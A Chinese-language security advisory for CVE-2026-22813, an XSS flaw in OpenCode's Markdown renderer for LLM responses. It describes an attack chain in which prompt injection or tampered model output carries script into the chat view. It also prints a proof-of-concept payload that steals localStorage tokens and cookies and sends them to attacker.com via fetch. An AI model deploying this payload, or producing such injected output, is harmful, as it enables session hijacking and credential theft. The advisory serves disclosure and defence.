IPBUF安全漏洞报告
English
CVE-2026-22813 CVSS 6.1 中危

CVE-2026-22813 OpenCode LLM响应Markdown渲染器XSS漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22813
漏洞类型
跨站脚本攻击(XSS)/HTML注入
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
OpenCode

相关标签

XSSHTML注入跨站脚本OpenCodeAI编码代理Markdown渲染器DOMPurify内容安全策略JavaScript执行CVE-2026-22813

漏洞概述

OpenCode是一个开源AI编码代理,其用于渲染LLM(大语言模型)响应的Markdown渲染器存在严重的跨站脚本(XSS)漏洞。该漏洞允许攻击者通过控制AI聊天会话的响应内容,将任意HTML和JavaScript代码注入到DOM中。由于应用未使用DOMPurify等安全库进行输入清理,且Web界面缺少内容安全策略(CSP)保护,攻击者可以在受害者访问http://localhost:4096时执行任意JavaScript代码。此漏洞的CVSS评分为6.1,属于中等严重程度,但考虑到攻击者可以完全控制聊天会话的输出内容,实际上可以被利用来窃取敏感信息、劫持用户会话或执行其他恶意操作。攻击成功的前提是用户与攻击者控制的AI代理进行交互,或攻击者能够篡改AI响应内容。该漏洞已在1.1.10版本中得到修复。

技术细节

OpenCode的Markdown渲染器在处理LLM响应时,直接将AI返回的内容作为HTML插入到DOM中,而没有进行适当的安全过滤。具体问题包括:首先,渲染器缺少输入验证机制,未使用DOMPurify等专业的HTML清理库来处理用户可控的输入内容;其次,Web应用未配置内容安全策略(CSP)头部,导致即使存在XSS漏洞,浏览器也不会阻止内联脚本执行。攻击者可以通过以下方式利用此漏洞:构造包含恶意HTML/JavaScript的AI响应内容,当用户查看该响应时,恶意代码将在localhost:4096域下执行。由于同源策略的限制,localhost域具有较高的信任级别,攻击者可以访问该域下的所有资源,包括localStorage中存储的敏感数据、会话令牌等。此漏洞属于存储型XSS与反射型XSS的结合,攻击载荷会持久化在聊天记录中,每次访问都会触发执行。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标OpenCode实例,确认版本低于1.1.10,访问聊天界面
STEP 2
步骤2: 构造恶意LLM响应
攻击者通过某种方式(如提示注入、篡改AI后端响应或控制AI模型输出)生成包含恶意HTML/JavaScript的响应内容
STEP 3
步骤3: 触发XSS执行
受害者在OpenCode聊天界面查看包含恶意代码的AI响应,浏览器解析HTML时执行注入的JavaScript代码
STEP 4
步骤4: 数据窃取
恶意脚本在localhost:4096上下文中执行,访问localStorage、cookies等敏感数据,并通过fetch API将数据发送到攻击者服务器
STEP 5
步骤5: 会话劫持
攻击者获取受害者的认证令牌后,可以冒充用户身份进行进一步操作,如访问项目代码、修改配置等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22813 PoC - XSS via Markdown Renderer in OpenCode // This PoC demonstrates how to inject arbitrary JavaScript through LLM responses // Malicious payload that can be injected as an LLM response const maliciousPayload = ` <img src=x onerror=" // Steal sensitive data from localStorage const tokens = localStorage.getItem('auth_tokens'); const userData = localStorage.getItem('user_info'); // Exfiltrate data to attacker-controlled server fetch('https://attacker.com/exfil', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ tokens: tokens, userData: userData, cookies: document.cookie, timestamp: new Date().toISOString() }) }); // Alternative payload: Session hijacking // InjectBeEForMeterpreterPayload(); "> `; // Simulated LLM response injection function simulateLLMResponseInjection(response) { // In vulnerable version, this directly inserts HTML without sanitization const chatContainer = document.getElementById('chat-messages'); chatContainer.innerHTML += `<div class="message assistant">${response}</div>`; } // Execute the PoC simulateLLMResponseInjection(maliciousPayload); // Clean payload example (what should be done) const safePayload = ` <script> // This should be sanitized before rendering console.log('Safe rendering required'); </script> `;

影响范围

OpenCode < 1.1.10

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制对OpenCode聊天功能的访问,仅允许可信用户使用;2)监控和审计AI响应内容,检测异常模式;3)考虑在反向代理层面添加输入过滤规则;4)提醒用户不要点击来源不明的链接或与不可信的AI代理交互;5)如果可能,临时禁用Markdown渲染器的HTML插入功能,仅使用纯文本模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表